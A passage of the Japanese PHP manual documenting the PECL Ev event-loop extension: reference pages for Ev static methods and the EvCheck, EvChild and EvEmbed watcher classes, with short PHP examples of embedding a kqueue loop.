これはバックエンドではなく、 flags の中のすべてのバックエンドビットをマスクするものです。 たとえば、環境変数 LIBEV_FLAGS を変更するときに使います。

注意:

デフォルトのループの場合は、モジュールの初期化時に Ev が (もし使えれば) pthread_atfork を使って » ev_loop_fork の呼び出しを登録します。

注意:

Ev クラスには、 デフォルトのイベントループ にアクセスするメソッドが用意されています (Ev::iteration() や Ev::depth() など)。 カスタムループ (EvLoop::__construct() で作ったもの) の場合、これらの値にアクセスするには EvLoop クラスのプロパティやメソッドを使います。

デフォルトのイベントループ自体のインスタンスを取得するには EvLoop::defaultLoop() メソッドを使います。

目次

  • Ev::backend — libev が使うバックエンドを表す整数値を返す
  • Ev::depth — 再帰の深さを返す
  • Ev::embeddableBackends — 他のイベントループに埋め込めるバックエンド群を返す
  • Ev::feedSignal — シグナルイベントを Ev に送る
  • Ev::feedSignalEvent — シグナルイベントの情報をデフォルトループに送る
  • Ev::iteration — デフォルトのイベントループが新しいイベントをポーリングした回数を返す
  • Ev::now — デフォルトのイベントループで直近の処理が始まった時刻を返す
  • Ev::nowUpdate — カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する
  • Ev::recommendedBackends — 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す
  • Ev::resume — 一時停止していたデフォルトのイベントループを再開させる
  • Ev::run — イベントのチェックとデフォルトループのコールバックの呼び出しを開始する
  • Ev::sleep — 指定した秒数だけプロセスをブロックする
  • Ev::stop — デフォルトのイベントループを止める
  • Ev::supportedBackends — 現在の libev の構成でサポートするバックエンド群を返す
  • Ev::suspend — デフォルトのイベントループを一時停止する
  • Ev::time — epoch から現在時刻までの秒数を返す
  • Ev::verify — 内部の整合性をチェックする (デバッグ用)

User Contributed Notes

There are no user contributed notes for this page.


libev が使うバックエンドを表す整数値を返す

  • ≪ Ev
  • Ev::depth ≫
  • PHP Manual
  • Ev
  • libev が使うバックエンドを表す整数値を返す

Ev::backend

(PECL ev >= 0.2.0)

Ev::backend — libev が使うバックエンドを表す整数値を返す

説明

final public static Ev::backend ( ) : int

libev が使うバックエンドを表す整数値を返します。 バックエンドのフラグ も参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

libev が使うバックエンドを表す整数値 (ビットマスク) を返します。

参考

  • EvEmbed
  • Ev::embeddableBackends() - 他のイベントループに埋め込めるバックエンド群を返す
  • Ev::recommendedBackends() - 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す
  • Ev::supportedBackends() - 現在の libev の構成でサポートするバックエンド群を返す
  • バックエンドのフラグ

User Contributed Notes

There are no user contributed notes for this page.


再帰の深さを返す

  • ≪ Ev::backend
  • Ev::embeddableBackends ≫
  • PHP Manual
  • Ev
  • 再帰の深さを返す

Ev::depth

(PECL ev >= 0.2.0)

Ev::depth — 再帰の深さを返す

説明

final public static Ev::depth ( ) : int

Ev::run() に入った回数から Ev::run() を正常終了した回数を引いた結果、 つまり、再帰の深さを返します。 Ev::run() の外部では、この数は 0 になります。 コールバックの中では、この数は 1 になります。ただし、Ev::run() が再帰的に呼び出されている (あるいは別スレッドから呼び出されている) 場合は、もっと大きな数になります。

パラメータ

この関数にはパラメータはありません。

返り値

ev_depth() は、デフォルトのループの再帰の深さを返します。

参考

  • Ev::iteration() - デフォルトのイベントループが新しいイベントをポーリングした回数を返す

User Contributed Notes

There are no user contributed notes for this page.


他のイベントループに埋め込めるバックエンド群を返す

  • ≪ Ev::depth
  • Ev::feedSignal ≫
  • PHP Manual
  • Ev
  • 他のイベントループに埋め込めるバックエンド群を返す

Ev::embeddableBackends

(PECL ev >= 0.2.0)

Ev::embeddableBackends — 他のイベントループに埋め込めるバックエンド群を返す

説明

final public static Ev::embeddableBackends ( ) : int

他のイベントループに埋め込めるバックエンド群を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ビットマスクを返します。 バックエンドのフラグ を、ビット OR 演算子で組み合わせたものになります。

例

例1 kqueue バックエンドで作ったループをデフォルトのループに埋め込む例

<?php
/*
* kqueue が使えるかどうかを調べ、ソケットで使う kqueue バックエンドを作ります
* (通常は、どんな kqueue 実装でも動きます)。
* kqueue/socket-only イベントループを loop_socket に格納します
* (EVFLAG_NOENV も使えます)。
*
* この例を流用しました
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
 if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
  $embed = new EvEmbed($loop);
 }
}

if (!$socket_loop) {
 $socket_loop = $loop;
}

// これで、すべてのソケットに対して $socket_loop を使い、それ以外については $loop を使うようになりました
?>

参考

  • EvEmbed
  • Ev::recommendedBackends() - 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す
  • Ev::supportedBackends() - 現在の libev の構成でサポートするバックエンド群を返す
  • バックエンドのフラグ
  • 例

User Contributed Notes

There are no user contributed notes for this page.


シグナルイベントを Ev に送る

  • ≪ Ev::embeddableBackends
  • Ev::feedSignalEvent ≫
  • PHP Manual
  • Ev
  • シグナルイベントを Ev に送る

Ev::feedSignal

(PECL ev >= 0.2.0)

Ev::feedSignal — シグナルイベントを Ev に送る

説明

final public static Ev::feedSignal ( int $signum ) : void

シグナルの受信をシミュレートします。 この関数は、いつでもどんなコンテキストでも安全に呼べます。 シグナルハンドラやランダムスレッドからでもだいじょうぶです。 主に、プロセス内で自前のシグナル処理を行う場合に使います。

Ev::feedSignalEvent() とは違い、どのループがシグナルを登録したのかにかかわらず動作します。

パラメータ

signum

シグナル番号。詳細は signal(7) の man ページを参照ください。 pcntl 拡張モジュールが公開する定数も使えます。

返り値

値を返しません。

参考

  • Ev::feedSignalEvent() - シグナルイベントの情報をデフォルトループに送る

User Contributed Notes

There are no user contributed notes for this page.


シグナルイベントの情報をデフォルトループに送る

  • ≪ Ev::feedSignal
  • Ev::iteration ≫
  • PHP Manual
  • Ev
  • シグナルイベントの情報をデフォルトループに送る

Ev::feedSignalEvent

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Ev::feedSignalEvent — シグナルイベントの情報をデフォルトループに送る

説明

final public static Ev::feedSignalEvent ( int $signum ) : void

シグナルイベントをデフォルトループに送ります。 Ev は、signal で指定したシグナルを受け取ったかのように反応します。

パラメータ

signum

シグナル番号。詳細は signal(7) の man ページを参照ください。 pcntl 拡張モジュールが公開する定数も使えます。

返り値

値を返しません。

参考

  • Ev::feedSignal() - シグナルイベントを Ev に送る

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのイベントループが新しいイベントをポーリングした回数を返す

  • ≪ Ev::feedSignalEvent
  • Ev::now ≫
  • PHP Manual
  • Ev
  • デフォルトのイベントループが新しいイベントをポーリングした回数を返す

Ev::iteration

(PECL ev >= 0.2.0)

Ev::iteration — デフォルトのイベントループが新しいイベントをポーリングした回数を返す

説明

final public static Ev::iteration ( ) : int

デフォルトのイベントループが新しいイベントをポーリングした回数を返します。 生成カウンターとして有用です。

パラメータ

この関数にはパラメータはありません。

返り値

デフォルトのイベントループのポーリング回数を返します。

参考

  • Ev::depth() - 再帰の深さを返す

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのイベントループで直近の処理が始まった時刻を返す

  • ≪ Ev::iteration
  • Ev::nowUpdate ≫
  • PHP Manual
  • Ev
  • デフォルトのイベントループで直近の処理が始まった時刻を返す

Ev::now

(PECL ev >= 0.2.0)

Ev::now — デフォルトのイベントループで直近の処理が始まった時刻を返す

説明

final public static Ev::now ( ) : float

デフォルトのイベントループで直近の処理が始まった時刻を返します。 これはタイマー (EvTimer および EvPeriodic) が基準にしているもので、 通常は Ev::time() を呼ぶよりも高速になります。

パラメータ

この関数にはパラメータはありません。

返り値

デフォルトのイベントループで直近の処理が始まった時刻を表す秒数を返します。

参考

  • Ev::nowUpdate() - カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する

User Contributed Notes

There are no user contributed notes for this page.


カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する

  • ≪ Ev::now
  • Ev::recommendedBackends ≫
  • PHP Manual
  • Ev
  • カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する

Ev::nowUpdate

(PECL ev >= 0.2.0)

Ev::nowUpdate — カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now が返す時刻を更新する

説明

final public static Ev::nowUpdate ( ) : void

カーネルに問い合わせて現在時刻を確認し、処理中の Ev::now() が返す時刻を更新します。これはコストが高い操作で、通常は自動的に Ev::run() の中で実行します。

このメソッドが役立つ場面はほとんどありませんが、 たとえば何かのイベントコールバックがイベントループに入らず長時間処理を続けているときに、 libev が把握する現在時刻を更新するというのがその一つになります。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Ev::now() - デフォルトのイベントループで直近の処理が始まった時刻を返す

User Contributed Notes

There are no user contributed notes for this page.


現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す

  • ≪ Ev::nowUpdate
  • Ev::resume ≫
  • PHP Manual
  • Ev
  • 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す

Ev::recommendedBackends

(PECL ev >= 0.2.0)

Ev::recommendedBackends — 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す

説明

final public static Ev::recommendedBackends ( ) : int

この libev のバイナリに組み込まれたすべてのバックエンドと、 中でもこのプラットフォーム上でおすすめのバックエンドを返します。 おすすめとは、多くのファイルディスクリプタ形式に対応しているということです。 このバックエンド群は、ev_supported_backends() が返すものより少なくなることがよくあります。たとえば kqueue は大半の BSD システムでうまく動かず、 明示的にリクエストしない限り自動検出できないからです。 このメソッドが返すバックエンドはどれも、明示的に指定しなくても libev で使えます。

パラメータ

この関数にはパラメータはありません。

返り値

ビットマスクを返します。 バックエンドのフラグ を、ビット OR 演算子で組み合わせたものになります。

例

例1 ループの中に別のループを埋め込む例

<?php
/*
* 埋め込み可能なイベントループをデフォルトのイベントループに組み込みます。
* できなかった場合はデフォルトのループを使います。
* デフォルトのループは $loop_hi に、そして埋め込み可能なループは $loop_lo
* に格納されます (埋め込み可能なループが使えなかった場合は $loop_hi
* を使います)。
*
* このサンプルを PHP に移植したものです。
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed   = NULL;

/*
* 使えるループを取得できるかどうかを調べます
* (フラグの値が 0 の場合は自動検出を意味します)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
 ? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
 : 0;

if ($loop_lo) {
 $embed = new EvEmbed($loop_lo, function () {});
} else {
 $loop_lo = $loop_hi;
}
?>

参考

  • EvEmbed
  • Ev::embeddableBackends() - 他のイベントループに埋め込めるバックエンド群を返す
  • Ev::supportedBackends() - 現在の libev の構成でサポートするバックエンド群を返す
  • バックエンドのフラグ
  • 例

User Contributed Notes

There are no user contributed notes for this page.


一時停止していたデフォルトのイベントループを再開させる

  • ≪ Ev::recommendedBackends
  • Ev::run ≫
  • PHP Manual
  • Ev
  • 一時停止していたデフォルトのイベントループを再開させる

Ev::resume

(PECL ev >= 0.2.0)

Ev::resume — 一時停止していたデフォルトのイベントループを再開させる

説明

final public static Ev::resume ( ) : void

Ev::suspend() と Ev::resume() が、それぞれループの一時停止と再開に対応します。

すべてのタイマーウォッチャーは、 suspend から resume までの時間だけ遅延します。また、すべての定期ウォッチャーは再スケジュールされます (つまり、一時停止中に発生したイベントは失うことになります)。

Ev::suspend() を呼んだ後は、
そのループ上では Ev::resume() 以外の関数を呼べません。
また、先に Ev::suspend() を呼んでいない状態で
Ev::resume()
は呼べません。

suspend や resume を呼ぶと、 イベントループの時刻を更新するという副作用があります (Ev::nowUpdate() を参照ください)。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Ev::suspend() - デフォルトのイベントループを一時停止する

User Contributed Notes

There are no user contributed notes for this page.


イベントのチェックとデフォルトループのコールバックの呼び出しを開始する

  • ≪ Ev::resume
  • Ev::sleep ≫
  • PHP Manual
  • Ev
  • イベントのチェックとデフォルトループのコールバックの呼び出しを開始する

Ev::run

(PECL ev >= 0.2.0)

Ev::run — イベントのチェックとデフォルトループのコールバックの呼び出しを開始する

説明

final public static Ev::run ( int $flags = ? ) : void

イベントのチェックとデフォルトループのコールバックの呼び出しを開始します。 コールバックが Ev::stop() メソッドを読んだとき、 あるいは flags がゼロ以外のとき (この場合の返り値は true) に結果を返します。あるいは、ループを参照するアクティブなウォッチャーがないとき (EvWatcher::keepalive() が true) のときにも結果を返し、このときに返す値は false になります。 戻り値の解釈は、一般的に、 もし true ならまだ作業が残っている となります。

パラメータ

flags

オプションのパラメータで、以下のいずれかになります。

flags に指定できる値の一覧
flags | 説明
0 | 上で述べたデフォルトの挙動。
Ev::RUN_ONCE | 最大 1 件ブロックします (待つけれども繰り返しません)。
Ev::RUN_NOWAIT | まったくブロックしません (イベントを取得して処理しますが、待ちません)。

実行フラグ定数 も参照ください。

返り値

値を返しません。

参考

  • Ev::stop() - デフォルトのイベントループを止める
  • EvLoop::run() - Begin checking for events and calling callbacks for the loop

User Contributed Notes

There are no user contributed notes for this page.


指定した秒数だけプロセスをブロックする

  • ≪ Ev::run
  • Ev::stop ≫
  • PHP Manual
  • Ev
  • 指定した秒数だけプロセスをブロックする

Ev::sleep

(PECL ev >= 0.2.0)

Ev::sleep — 指定した秒数だけプロセスをブロックする

説明

final public static Ev::sleep ( float $seconds ) : void

指定した秒数だけプロセスをブロックします。

パラメータ

seconds

秒数。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのイベントループを止める

  • ≪ Ev::sleep
  • Ev::supportedBackends ≫
  • PHP Manual
  • Ev
  • デフォルトのイベントループを止める

Ev::stop

(PECL ev >= 0.2.0)

Ev::stop — デフォルトのイベントループを止める

説明

final public static Ev::stop ( int $how = ? ) : void

デフォルトのイベントループを止めます。

パラメータ

how

Ev::BREAK_* 定数 のいずれか。

返り値

値を返しません。

参考

  • Ev::run() - イベントのチェックとデフォルトループのコールバックの呼び出しを開始する

User Contributed Notes

There are no user contributed notes for this page.


現在の libev の構成でサポートするバックエンド群を返す

  • ≪ Ev::stop
  • Ev::suspend ≫
  • PHP Manual
  • Ev
  • 現在の libev の構成でサポートするバックエンド群を返す

Ev::supportedBackends

(PECL ev >= 0.2.0)

Ev::supportedBackends — 現在の libev の構成でサポートするバックエンド群を返す

説明

final public static Ev::supportedBackends ( ) : int

現在の libev の構成でサポートするバックエンド群を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ビットマスクを返します。 バックエンドのフラグ を、ビット OR 演算子で組み合わせたものになります。

例

例1 kqueue バックエンドで作ったループをデフォルトのループに埋め込む例

<?php
/*
* kqueue が使えるかどうかを調べ、ソケットで使う kqueue バックエンドを作ります
* (通常は、どんな kqueue 実装でも動きます)。
* kqueue/socket-only イベントループを loop_socket に格納します
* (EVFLAG_NOENV も使えます)。
*
* この例を流用しました
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
 if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
  $embed = new EvEmbed($loop);
 }
}

if (!$socket_loop) {
 $socket_loop = $loop;
}

// これで、すべてのソケットに対して $socket_loop を使い、それ以外については $loop を使うようになりました
?>

参考

  • EvEmbed
  • Ev::recommendedBackends() - 現在のプラットフォーム上でおすすめのバックエンドのビットマスクを返す
  • Ev::embeddableBackends() - 他のイベントループに埋め込めるバックエンド群を返す
  • バックエンドのフラグ
  • 例

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのイベントループを一時停止する

  • ≪ Ev::supportedBackends
  • Ev::time ≫
  • PHP Manual
  • Ev
  • デフォルトのイベントループを一時停止する

Ev::suspend

(PECL ev >= 0.2.0)

Ev::suspend — デフォルトのイベントループを一時停止する

説明

final public static Ev::suspend ( ) : void

Ev::suspend() と Ev::resume() が、それぞれループの一時停止と再開に対応します。

すべてのタイマーウォッチャーは、 suspend から resume までの時間だけ遅延します。また、すべての定期ウォッチャーは再スケジュールされます (つまり、一時停止中に発生したイベントは失うことになります)。

Ev::suspend() を呼んだ後は、
そのループ上では Ev::resume() 以外の関数を呼べません。
また、先に Ev::suspend() を呼んでいない状態で
Ev::resume()
は呼べません。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Ev::resume() - 一時停止していたデフォルトのイベントループを再開させる

User Contributed Notes

There are no user contributed notes for this page.


epoch から現在時刻までの秒数を返す

  • ≪ Ev::suspend
  • Ev::verify ≫
  • PHP Manual
  • Ev
  • epoch から現在時刻までの秒数を返す

Ev::time

(PECL ev >= 0.2.0)

Ev::time — epoch から現在時刻までの秒数を返す

説明

final public static Ev::time ( ) : float

epoch から現在時刻までの秒数を返します。 Ev::now() を使うことを検討しましょう。

パラメータ

この関数にはパラメータはありません。

返り値

epoch から現在時刻までの秒数を返します。

参考

  • Ev::now() - デフォルトのイベントループで直近の処理が始まった時刻を返す

User Contributed Notes

There are no user contributed notes for this page.


内部の整合性をチェックする (デバッグ用)

  • ≪ Ev::time
  • EvCheck ≫
  • PHP Manual
  • Ev
  • 内部の整合性をチェックする (デバッグ用)

Ev::verify

(PECL ev >= 0.2.0)

Ev::verify — 内部の整合性をチェックする (デバッグ用)

説明

final public static Ev::verify ( ) : void

内部の整合性をチェック (libev のデバッグ用) し、もしデータ構造が壊れている場合はプログラムを終了させます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


EvCheck クラス

(PECL ev >= 0.2.0)

はじめに

EvPrepare ウォッチャーと EvCheck ウォッチャーは、 通常はペアで使います。 EvPrepare ウォッチャーはプロセスをブロックする前に起動し、 EvCheck はブロックした後に起動します。

EvLoop::run() あるいはそれに類するメソッドや関数 (現在のイベントループに入るもの) は、EvPrepare ウォッチャーや EvCheck ウォッチャーからは呼べません。 現在のループ以外のループは問題ありません。 その理由は、これらのウォッチャーの中では再帰をチェックする必要がないからです。 つまり、処理の流れは常に EvPrepare -> ブロック -> EvCheck となるので、これらのウォッチャーは常にペアで呼ばれ、ブロッキング呼び出しの前後を囲むことになります。

主な利用目的は他のイベント機構を libev に統合することで、 少し高度な使いかたになります。変数の変更を追跡したり 自前のウォッチャーを実装したり、net-snmp やコルーチンライブラリを統合したりといった、 さまざまな用途で使えます。 また、何らかのデータをキャッシュしてブロッキングの前にフラッシュするなどの用途で使えることもあります。

EvCheck には最高の優先度 (Ev::MAXPRI) を与えることを推奨します。 これで、ポーリングの後は他のあらゆるウォッチャーよりも先に実行されることが保証されます (EvPrepare ウォッチャーの場合は無鐘鋳です)。

また、EvCheck ウォッチャーはイベントをアクティブにしたり送信したりしてはいけません。 libev では対応してはいますが、 他の EvCheck ウォッチャーが仕事をする前に実行される可能性があります。

クラス概要

EvCheck extends EvWatcher {
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( callable $callback , mixed $data = ? , int $priority = ? )
final public static createStopped ( string $callback , string $data = ? , string $priority = ? ) : object
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

目次

  • EvCheck::__construct — EvCheck ウォッチャーオブジェクトを作る
  • EvCheck::createStopped — 停止した EvCheck ウォッチャーのインスタンスを作る

User Contributed Notes

There are no user contributed notes for this page.


EvCheck ウォッチャーオブジェクトを作る

  • ≪ EvCheck
  • EvCheck::createStopped ≫
  • PHP Manual
  • EvCheck
  • EvCheck ウォッチャーオブジェクトを作る

EvCheck::__construct

(PECL ev >= 0.2.0)

EvCheck::__construct — EvCheck ウォッチャーオブジェクトを作る

説明

public EvCheck::__construct ( callable $callback , mixed $data = ? , int $priority = ? )

EvCheck ウォッチャーオブジェクトを作ります。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvCheck オブジェクトを返します。

参考

  • EvPrepare
  • EvLoop::check() - Creates EvCheck object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


停止した EvCheck ウォッチャーのインスタンスを作る

  • ≪ EvCheck::__construct
  • EvChild ≫
  • PHP Manual
  • EvCheck
  • 停止した EvCheck ウォッチャーのインスタンスを作る

EvCheck::createStopped

(PECL ev >= 0.2.0)

EvCheck::createStopped — 停止した EvCheck ウォッチャーのインスタンスを作る

説明

final public static EvCheck::createStopped ( string $callback , string $data = ? , string $priority = ? ) : object

停止した EvCheck ウォッチャーのインスタンスを作ります。

パラメータ

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvCheck オブジェクトを返します。

参考

  • EvPrepare

User Contributed Notes

There are no user contributed notes for this page.


The EvChild class

(PECL ev >= 0.2.0)

はじめに

EvChild ウォッチャーは、子プロセスの状態の変更 (たいていは、停止したり終了したりといったもの) に反応してこのプロセスが SIGCHLD を受け取ったときに起動します。 EvChild ウォッチャーは、子をフォークした後 (おそらくはすでに終了した後) でインストールしてもかまいません。 ただし、まだイベントループに入っていないとき (あるいはウォッチャーから引き続いているとき) に限ります。 つまり、フォークした直後に子プロセス用のウォッチャーを登録するのはかまいませんが、 フォークした後でイベントループを何回か処理した後で登録したり、次のコールバックの実行時に登録したりすることはできません。

EvChild ウォッチャーは、 デフォルトループ の中でだけ登録できます。

クラス概要

EvChild extends EvWatcher {
/* プロパティ */
public $pid ;
public $rpid ;
public $rstatus ;
/* 継承したプロパティ */
public $is_active ;
public $data ;
public $is_pending ;
public $priority ;
/* メソッド */
public __construct ( int $pid , bool $trace , callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped ( int $pid , bool $trace , callable $callback , mixed $data = ? , int $priority = ? ) : object
public set ( int $pid , bool $trace ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

pid

読み込み専用。 このウォッチャーが注目するプロセス ID。0 の場合はあらゆるプロセス ID を表します。

rpid

読み込み専用。 状態の変更を検出するプロセスの ID。

rstatus

読み込み専用。 rpid のプロセス終了ステータス。

目次

  • EvChild::__construct — EvChild ウォッチャーオブジェクトを作る
  • EvChild::createStopped — 停止した EvChild ウォッチャーのインスタンスを作る
  • EvChild::set — ウォッチャーを設定する

User Contributed Notes

There are no user contributed notes for this page.


EvChild ウォッチャーオブジェクトを作る

  • ≪ EvChild
  • EvChild::createStopped ≫
  • PHP Manual
  • EvChild
  • EvChild ウォッチャーオブジェクトを作る

EvChild::__construct

(PECL ev >= 0.2.0)

EvChild::__construct — EvChild ウォッチャーオブジェクトを作る

説明

public EvChild::__construct ( int $pid , bool $trace , callable $callback , mixed $data = null , int $priority = 0 )

EvChild ウォッチャーオブジェクトを作ります。

プロセス ID pid (pid is 0 の場合は任意の PID) の状態の変更を受信したときに、コールバックを呼びます (状態が変わるのは、プロセスが停止したり強制終了させられたり、 trace が true になったり、さらにプロセスを一時停止したり再開したりしたときです)。 言い換えると、あるプロセスが SIGCHLD を受信したときに、 Ev はすべての変更された子プロセスやゾンビ子プロセスの exit/wait 状態を取得してコールバックを呼びます。

EvChild が終了してから child ウォッチャーをインストールしてもかまいませんが、 イベントループが次のイテレーションを始める前でないといけません。 たとえば、最初のプロセスが fork した後で新しい子プロセスが終了するかもしれません。 そのときは、新しい PID の親にだけ EvChild ウォッチャーをインストールできます。

exit/tracing ステータスや pid にアクセスするには、 ウォッチャーオブジェクトのプロパティ rstatus および rpid を使います。

一つの PID に対する PID ウォッチャーの数は無制限で、すべてが呼び出されます。

EvChild::createStopped() メソッドは、新しく作ったウォッチャーを開始させません。

パラメータ

pid

状態の変更を待つプロセスの PID (0 にすると、すべてのプロセスを対象にします)。

trace

false にすると、プロセスが終了したときにだけウォッチャーをアクティブにします。 true の場合は、プロセスが一時停止したり再開したりしたときにもウォッチャーをアクティブにします。

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvChild オブジェクトを返します。

参考

  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


停止した EvChild ウォッチャーのインスタンスを作る

  • ≪ EvChild::__construct
  • EvChild::set ≫
  • PHP Manual
  • EvChild
  • 停止した EvChild ウォッチャーのインスタンスを作る

EvChild::createStopped

(PECL ev >= 0.2.0)

EvChild::createStopped — 停止した EvChild ウォッチャーのインスタンスを作る

説明

final public static EvChild::createStopped ( int $pid , bool $trace , callable $callback , mixed $data = ? , int $priority = ? ) : object

EvChild::__construct() と同じですが、ウォッチャーを自動的には開始しません。

パラメータ

pid

EvChild::__construct() と同じ。

trace

EvChild::__construct() と同じ。

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

参考

  • EvChild::__construct() - EvChild ウォッチャーオブジェクトを作る
  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


ウォッチャーを設定する

  • ≪ EvChild::createStopped
  • EvEmbed ≫
  • PHP Manual
  • EvChild
  • ウォッチャーを設定する

EvChild::set

(PECL ev >= 0.2.0)

EvChild::set — ウォッチャーを設定する

説明

public EvChild::set ( int $pid , bool $trace ) : void

パラメータ

pid

EvChild::__construct() と同じ。

trace

EvChild::__construct() と同じ。

返り値

値を返しません。

参考

  • EvChild::__construct() - EvChild ウォッチャーオブジェクトを作る

User Contributed Notes

There are no user contributed notes for this page.


EvEmbed クラス

(PECL ev >= 0.2.0)

はじめに

イベントループを別のイベントループに埋め込むために使います。

クラス概要

EvEmbed extends EvWatcher {
/* プロパティ */
public $embed ;
/* メソッド */
public __construct ( object $other , callable $callback = ? , mixed $data = ? , int $priority = ? )
final public static createStopped ( object $other , callable $callback = ? , mixed $data = ? , int $priority = ? ) : void
public set ( object $other ) : void
public sweep ( ) : void
/* 継承したメソッド */
public EvWatcher::clear ( ) : int
abstract public EvWatcher::__construct ( )
public EvWatcher::feed ( int $revents ) : void
public EvWatcher::getLoop ( ) : EvLoop
public EvWatcher::invoke ( int $revents ) : void
public EvWatcher::keepalive ( bool $value = ? ) : bool
public EvWatcher::setCallback ( callable $callback ) : void
public EvWatcher::start ( ) : void
public EvWatcher::stop ( ) : void
}

プロパティ

is_active

data

is_pending

priority

embed

目次

  • EvEmbed::__construct — EvEmbed オブジェクトを作る
  • EvEmbed::createStopped — 停止した EvEmbed ウォッチャーのインスタンスを作る
  • EvEmbed::set — ウォッチャーを設定する
  • EvEmbed::sweep — 埋め込んだループに対して単一の非ブロックスイープを行う

User Contributed Notes

There are no user contributed notes for this page.


EvEmbed オブジェクトを作る

  • ≪ EvEmbed
  • EvEmbed::createStopped ≫
  • PHP Manual
  • EvEmbed
  • EvEmbed オブジェクトを作る

EvEmbed::__construct

(PECL ev >= 0.2.0)

EvEmbed::__construct — EvEmbed オブジェクトを作る

説明

public EvEmbed::__construct ( object $other , callable $callback = ? , mixed $data = ? , int $priority = ? )

これは高度なウォッチャー型で、あるイベントループを別のイベントループに埋め込むことができます。 現在は、埋め込みループに対応しているのは IO イベントだけです。 他の型のウォッチャーを使うと、処理が遅延したり不正確な動きになったりする可能性があるので、 使ってはいけません。

詳細は、 » libev のドキュメント を参照ください。

このウォッチャーは、BSD システムで kqueue が使えないときにも大量のソケットを処理できるようにするのに便利です。 以下の例を参照ください。

パラメータ

other

EvLoop のインスタンス。 埋め込むループです。これは埋め込み可能なものでなければいけません (Ev::embeddableBackends() を参照ください)。

callback

ウォッチャーのコールバック を参照ください。

data

このウォッチャーに関連づけるカスタムデータ。

priority

ウォッチャーの優先度。

返り値

成功した場合に EvEmbed オブジェクトを返します。

例

例1 kqueue バックエンドで作ったループをデフォルトのループに埋め込む例

<?php
/*
 * kqueue が使えるかどうかを調べ、ソケットで使う kqueue バックエンドを作ります
 * (通常は、どんな kqueue 実装でも動きます)。
 * kqueue/socket-only イベントループを loop_socket に格納します
 * (EVFLAG_NOENV も使えます)。
 *
 * この例を流用しました
 * http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
 */
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
    if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
        $embed = new EvEmbed($loop);
    }
}

if (!$socket_loop) {
    $socket_loop = $loop;
}

// これで、すべてのソケットに対して $socket_loop を使い、それ以外については $loop を使うようになりました
?>

参考

